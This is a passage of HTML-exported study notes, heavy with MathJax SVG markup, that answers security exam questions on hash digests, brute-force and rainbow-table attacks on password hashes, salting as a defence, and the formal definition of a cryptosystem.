374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path><path stroke-width="0" id="E24-MJMAIN-32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 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52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path><path stroke-width="0" id="E24-MJMAIN-32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E24-MJMATHI-78" x="0" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E24-MJMAIN-32" x="808" y="-213"></use></g></svg></span><script type="math/tex" id="MathJax-Element-24">x_2</script>, such that <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-25-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="7.861ex" height="2.45ex" viewBox="0 -776.4 3384.7 1055" role="img" focusable="false" style="vertical-align: -0.647ex;"><defs><path stroke-width="0" id="E25-MJMATHI-78" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 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<span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-40-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="1.154ex" height="1.936ex" viewBox="0 -555.2 497 833.8" role="img" focusable="false" style="vertical-align: -0.647ex;"><defs><path stroke-width="0" id="E40-MJMATHI-79" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E40-MJMATHI-79" x="0" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-40">y</script> <strong>size is fixed</strong>, it doesn't matter how long it's <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-106-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="1.329ex" height="1.423ex" viewBox="0 -499.9 572 612.5" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E106-MJMATHI-78" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E106-MJMATHI-78" x="0" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-106">x</script>. <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-40-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="1.154ex" height="1.936ex" viewBox="0 -555.2 497 833.8" role="img" focusable="false" style="vertical-align: -0.647ex;"><defs><path stroke-width="0" id="E40-MJMATHI-79" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E40-MJMATHI-79" x="0" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-40">y</script> is called <strong>HASH Digest</strong>.</p></blockquote></li><li><p>Describe a brute force guessing attack in the context of password storage. How can it be mitigated?</p><blockquote><p>In this context, a brute force guessing attack consist of trying to obtain the password from HASH. This is possible by <strong>generating</strong> random <strong>strings</strong> (or following a pattern) and <strong>hashing each one of this string, checking if it's equal to the hacked HASH Digest.</strong></p><p>Formally:</p><p><span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-33-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="15.748ex" height="2.707ex" viewBox="0 -831.8 6780.6 1165.7" role="img" focusable="false" style="vertical-align: -0.776ex;"><defs><path stroke-width="0" id="E33-MJMATHI-78" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 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291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path><path stroke-width="0" id="E33-MJMATHI-72" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path><path stroke-width="0" id="E33-MJMATHI-61" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 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x="1172" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E43-MJMAIN-65" x="1561" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E43-MJMAIN-64" x="2005" y="0"></use></g></g></g></svg></span><script type="math/tex" id="MathJax-Element-43">h(x+\text{salt})=y_{\text{salted}}</script></p><p>As we said before, if we have two input <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-44-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="5.797ex" height="1.808ex" viewBox="0 -499.9 2495.8 778.4" role="img" focusable="false" style="vertical-align: -0.647ex;"><defs><path stroke-width="0" id="E44-MJMATHI-78" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path><path stroke-width="0" id="E44-MJMAIN-31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path stroke-width="0" id="E44-MJMAIN-2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 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transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E48-MJMATHI-61" x="503" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E48-MJMATHI-73" x="1032" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E48-MJMATHI-73" x="1501" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E48-MJMATHI-77" x="1970" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E48-MJMATHI-6F" x="2686" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E48-MJMATHI-72" x="3171" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E48-MJMATHI-64" x="3622" y="0"></use></g></g></svg></span><script type="math/tex" id="MathJax-Element-48">y_{password}</script> or he could use a <strong>Rainbow Table</strong>. Doing so he would <strong>obtain more than one password</strong>. </p><p>To mitigate this type of attack, we take advantage of <strong>avalanche effect</strong>, concatenating <code>salt</code> to our <code>password</code>, <strong>changing our hash digest completely.</strong></p></blockquote></li></ul><h4><a name='header-n96' class='md-header-anchor '></a>Cryptography</h4><ul><li><p>Define the concept of “Cryptosystem” and explain how its encryption and decryption algorithms can be specified mathematically</p><blockquote><p>A <em>cryptosystem</em>is a <em>5-tuple</em><span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-49-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="15.907ex" height="2.707ex" viewBox="0 -831.8 6848.7 1165.7" role="img" focusable="false" style="vertical-align: -0.776ex;"><defs><path stroke-width="0" id="E49-MJMAIN-28" d="M94 250Q94 319 104 381T127 488T164 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type="math/tex" id="MathJax-Element-49">(E,D,M,K,C)</script> where:</p><ul><li><span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-50-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="3.065ex" height="1.936ex" viewBox="0 -776.4 1319.8 833.8" role="img" focusable="false" style="vertical-align: -0.133ex;"><defs><path stroke-width="0" id="E50-MJMATHI-45" d="M492 213Q472 213 472 226Q472 230 477 250T482 285Q482 316 461 323T364 330H312Q311 328 277 192T243 52Q243 48 254 48T334 46Q428 46 458 48T518 61Q567 77 599 117T670 248Q680 270 683 272Q690 274 698 274Q718 274 718 261Q613 7 608 2Q605 0 322 0H133Q31 0 31 11Q31 13 34 25Q38 41 42 43T65 46Q92 46 125 49Q139 52 144 61Q146 66 215 342T285 622Q285 629 281 629Q273 632 228 634H197Q191 640 191 642T193 659Q197 676 203 680H757Q764 676 764 669Q764 664 751 557T737 447Q735 440 717 440H705Q698 445 698 453L701 476Q704 500 704 528Q704 558 697 578T678 609T643 625T596 632T532 634H485Q397 633 392 631Q388 629 386 622Q385 619 355 499T324 377Q347 376 372 376H398Q464 376 489 391T534 472Q538 488 540 490T557 493Q562 493 565 493T570 492T572 491T574 487T577 483L544 351Q511 218 508 216Q505 213 492 213Z"></path><path stroke-width="0" id="E50-MJMAIN-3A" d="M78 370Q78 394 95 412T138 430Q162 430 180 414T199 371Q199 346 182 328T139 310T96 327T78 370ZM78 60Q78 84 95 102T138 120Q162 120 180 104T199 61Q199 36 182 18T139 0T96 17T78 60Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E50-MJMATHI-45" x="0" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E50-MJMAIN-3A" x="1041" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-50">E:</script> <strong>E</strong>ncrypt Algorithm;</li><li><span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-51-Frame" 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0T96 17T78 60Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E51-MJMATHI-44" x="0" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E51-MJMAIN-3A" x="1105" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-51">D:</script> <strong>D</strong>ecrypt Algorithm;</li><li><span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-52-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="3.732ex" height="1.936ex" viewBox="0 -776.4 1606.8 833.8" role="img" focusable="false" style="vertical-align: -0.133ex;"><defs><path stroke-width="0" id="E52-MJMATHI-4D" d="M289 629Q289 635 232 637Q208 637 201 638T194 648Q194 649 196 659Q197 662 198 666T199 671T201 676T203 679T207 681T212 683T220 683T232 684Q238 684 262 684T307 683Q386 683 398 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60Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E52-MJMATHI-4D" x="0" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E52-MJMAIN-3A" x="1328" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-52">M: </script> set of plaintext <strong>M</strong>essages;</li><li><span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-53-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="3.356ex" height="1.936ex" viewBox="0 -776.4 1444.8 833.8" role="img" focusable="false" style="vertical-align: -0.133ex;"><defs><path stroke-width="0" id="E53-MJMATHI-4B" d="M285 628Q285 635 228 637Q205 637 198 638T191 647Q191 649 193 661Q199 681 203 682Q205 683 214 683H219Q260 681 355 681Q389 681 418 681T463 682T483 682Q500 682 500 674Q500 669 497 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120 180 104T199 61Q199 36 182 18T139 0T96 17T78 60Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E53-MJMATHI-4B" x="0" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E53-MJMAIN-3A" x="1166" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-53">K: </script> set of <strong>K</strong>eys;</li><li><span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-54-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="3.056ex" height="2.065ex" viewBox="0 -776.4 1315.8 889.1" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E54-MJMATHI-43" d="M50 252Q50 367 117 473T286 641T490 704Q580 704 633 653Q642 643 648 636T656 626L657 623Q660 623 684 649Q691 655 699 663T715 679T725 690L740 705H746Q760 705 760 698Q760 694 728 561Q692 422 692 421Q690 416 687 415T669 413H653Q647 419 647 422Q647 423 648 429T650 449T651 481Q651 552 619 605T510 659Q484 659 454 652T382 628T299 572T226 479Q194 422 175 346T156 222Q156 108 232 58Q280 24 350 24Q441 24 512 92T606 240Q610 253 612 255T628 257Q648 257 648 248Q648 243 647 239Q618 132 523 55T319 -22Q206 -22 128 53T50 252Z"></path><path stroke-width="0" id="E54-MJMAIN-3A" d="M78 370Q78 394 95 412T138 430Q162 430 180 414T199 371Q199 346 182 328T139 310T96 327T78 370ZM78 60Q78 84 95 102T138 120Q162 120 180 104T199 61Q199 36 182 18T139 0T96 17T78 60Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E54-MJMATHI-43" x="0" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E54-MJMAIN-3A" x="1037" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-54">C: </script> set of <strong>C</strong>iphertext Messages.</li></ul><p>We can specify:</p><ul><li><p><strong>Encryption</strong>: </p><p><span> </span><span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-55-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="16.434ex" height="2.065ex" viewBox="0 -776.4 7075.6 889.1" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E55-MJMATHI-45" d="M492 213Q472 213 472 226Q472 230 477 250T482 285Q482 316 461 323T364 330H312Q311 328 277 192T243 52Q243 48 254 48T334 46Q428 46 458 48T518 61Q567 77 599 117T670 248Q680 270 683 272Q690 274 698 274Q718 274 718 261Q613 7 608 2Q605 0 322 0H133Q31 0 31 11Q31 13 34 25Q38 41 42 43T65 46Q92 46 125 49Q139 52 144 61Q146 66 215 342T285 622Q285 629 281 629Q273 632 228 634H197Q191 640 191 642T193 659Q197 676 203 680H757Q764 676 764 669Q764 664 751 557T737 447Q735 440 717 440H705Q698 445 698 453L701 476Q704 500 704 528Q704 558 697 578T678 609T643 625T596 632T532 634H485Q397 633 392 631Q388 629 386 622Q385 619 355 499T324 377Q347 376 372 376H398Q464 376 489 391T534 472Q538 488 540 490T557 493Q562 493 565 493T570 492T572 491T574 487T577 483L544 351Q511 218 508 216Q505 213 492 213Z"></path><path stroke-width="0" id="E55-MJMAIN-3A" d="M78 370Q78 394 95 412T138 430Q162 430 180 414T199 371Q199 346 182 328T139 310T96 327T78 370ZM78 60Q78 84 95 102T138 120Q162 120 180 104T199 61Q199 36 182 18T139 0T96 17T78 60Z"></path><path stroke-width="0" id="E55-MJMATHI-4D" d="M289 629Q289 635 232 637Q208 637 201 638T194 648Q194 649 196 659Q197 662 198 666T199 671T201 676T203 679T207 681T212 683T220 683T232 684Q238 684 262 684T307 683Q386 683 398 683T414 678Q415 674 451 396L487 117L510 154Q534 190 574 254T662 394Q837 673 839 675Q840 676 842 678T846 681L852 683H948Q965 683 988 683T1017 684Q1051 684 1051 673Q1051 668 1048 656T1045 643Q1041 637 1008 637Q968 636 957 634T939 623Q936 618 867 340T797 59Q797 55 798 54T805 50T822 48T855 46H886Q892 37 892 35Q892 19 885 5Q880 0 869 0Q864 0 828 1T736 2Q675 2 644 2T609 1Q592 1 592 11Q592 13 594 25Q598 41 602 43T625 46Q652 46 685 49Q699 52 704 61Q706 65 742 207T813 490T848 631L654 322Q458 10 453 5Q451 4 449 3Q444 0 433 0Q418 0 415 7Q413 11 374 317L335 624L267 354Q200 88 200 79Q206 46 272 46H282Q288 41 289 37T286 19Q282 3 278 1Q274 0 267 0Q265 0 255 0T221 1T157 2Q127 2 95 1T58 0Q43 0 39 2T35 11Q35 13 38 25T43 40Q45 46 65 46Q135 46 154 86Q158 92 223 354T289 629Z"></path><path stroke-width="0" id="E55-MJMAIN-D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path><path stroke-width="0" id="E55-MJMATHI-4B" d="M285 628Q285 635 228 637Q205 637 198 638T191 647Q191 649 193 661Q199 681 203 682Q205 683 214 683H219Q260 681 355 681Q389 681 418 681T463 682T483 682Q500 682 500 674Q500 669 497 660Q496 658 496 654T495 648T493 644T490 641T486 639T479 638T470 637T456 637Q416 636 405 634T387 623L306 305Q307 305 490 449T678 597Q692 611 692 620Q692 635 667 637Q651 637 651 648Q651 650 654 662T659 677Q662 682 676 682Q680 682 711 681T791 680Q814 680 839 681T869 682Q889 682 889 672Q889 650 881 642Q878 637 862 637Q787 632 726 586Q710 576 656 534T556 455L509 418L518 396Q527 374 546 329T581 244Q656 67 661 61Q663 59 666 57Q680 47 717 46H738Q744 38 744 37T741 19Q737 6 731 0H720Q680 3 625 3Q503 3 488 0H478Q472 6 472 9T474 27Q478 40 480 43T491 46H494Q544 46 544 71Q544 75 517 141T485 216L427 354L359 301L291 248L268 155Q245 63 245 58Q245 51 253 49T303 46H334Q340 37 340 35Q340 19 333 5Q328 0 317 0Q314 0 280 1T180 2Q118 2 85 2T49 1Q31 1 31 11Q31 13 34 25Q38 41 42 43T65 46Q92 46 125 49Q139 52 144 61Q147 65 216 339T285 628Z"></path><path stroke-width="0" id="E55-MJMAIN-2192" d="M56 237T56 250T70 270H835Q719 357 692 493Q692 494 692 496T691 499Q691 511 708 511H711Q720 511 723 510T729 506T732 497T735 481T743 456Q765 389 816 336T935 261Q944 258 944 250Q944 244 939 241T915 231T877 212Q836 186 806 152T761 85T740 35T732 4Q730 -6 727 -8T711 -11Q691 -11 691 0Q691 7 696 25Q728 151 835 230H70Q56 237 56 250Z"></path><path stroke-width="0" id="E55-MJMATHI-43" d="M50 252Q50 367 117 473T286 641T490 704Q580 704 633 653Q642 643 648 636T656 626L657 623Q660 623 684 649Q691 655 699 663T715 679T725 690L740 705H746Q760 705 760 698Q760 694 728 561Q692 422 692 421Q690 416 687 415T669 413H653Q647 419 647 422Q647 423 648 429T650 449T651 481Q651 552 619 605T510 659Q484 659 454 652T382 628T299 572T226 479Q194 422 175 346T156 222Q156 108 232 58Q280 24 350 24Q441 24 512 92T606 240Q610 253 612 255T628 257Q648 257 648 248Q648 243 647 239Q618 132 523 55T319 -22Q206 -22 128 53T50 252Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E55-MJMATHI-45" x="0" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E55-MJMAIN-3A" x="1041" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E55-MJMATHI-4D" x="1597" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E55-MJMAIN-D7" x="2870" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E55-MJMATHI-4B" x="3871" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E55-MJMAIN-2192" x="5037" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E55-MJMATHI-43" x="6315" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-55">E: M \times K \to C</script></p></li><li><p><strong>Decryption</strong>: </p><p><span> </span><span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-56-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="16.582ex" height="2.065ex" viewBox="0 -776.4 7139.6 889.1" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E56-MJMATHI-44" d="M287 628Q287 635 230 637Q207 637 200 638T193 647Q193 655 197 667T204 682Q206 683 403 683Q570 682 590 682T630 676Q702 659 752 597T803 431Q803 275 696 151T444 3L430 1L236 0H125H72Q48 0 41 2T33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM703 469Q703 507 692 537T666 584T629 613T590 629T555 636Q553 636 541 636T512 636T479 637H436Q392 637 386 627Q384 623 313 339T242 52Q242 48 253 48T330 47Q335 47 349 47T373 46Q499 46 581 128Q617 164 640 212T683 339T703 469Z"></path><path stroke-width="0" id="E56-MJMAIN-3A" d="M78 370Q78 394 95 412T138 430Q162 430 180 414T199 371Q199 346 182 328T139 310T96 327T78 370ZM78 60Q78 84 95 102T138 120Q162 120 180 104T199 61Q199 36 182 18T139 0T96 17T78 60Z"></path><path stroke-width="0" id="E56-MJMATHI-43" d="M50 252Q50 367 117 473T286 641T490 704Q580 704 633 653Q642 643 648 636T656 626L657 623Q660 623 684 649Q691 655 699 663T715 679T725 690L740 705H746Q760 705 760 698Q760 694 728 561Q692 422 692 421Q690 416 687 415T669 413H653Q647 419 647 422Q647 423 648 429T650 449T651 481Q651 552 619 605T510 659Q484 659 454 652T382 628T299 572T226 479Q194 422 175 346T156 222Q156 108 232 58Q280 24 350 24Q441 24 512 92T606 240Q610 253 612 255T628 257Q648 257 648 248Q648 243 647 239Q618 132 523 55T319 -22Q206 -22 128 53T50 252Z"></path><path stroke-width="0" id="E56-MJMAIN-D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path><path stroke-width="0" id="E56-MJMATHI-4B" d="M285 628Q285 635 228 637Q205 637 198 638T191 647Q191 649 193 661Q199 681 203 682Q205 683 214 683H219Q260 681 355 681Q389 681 418 681T463 682T483 682Q500 682 500 674Q500 669 497 660Q496 658 496 654T495 648T493 644T490 641T486 639T479 638T470 637T456 637Q416 636 405 634T387 623L306 305Q307 305 490 449T678 597Q692 611 692 620Q692 635 667 637Q651 637 651 648Q651 650 654 662T659 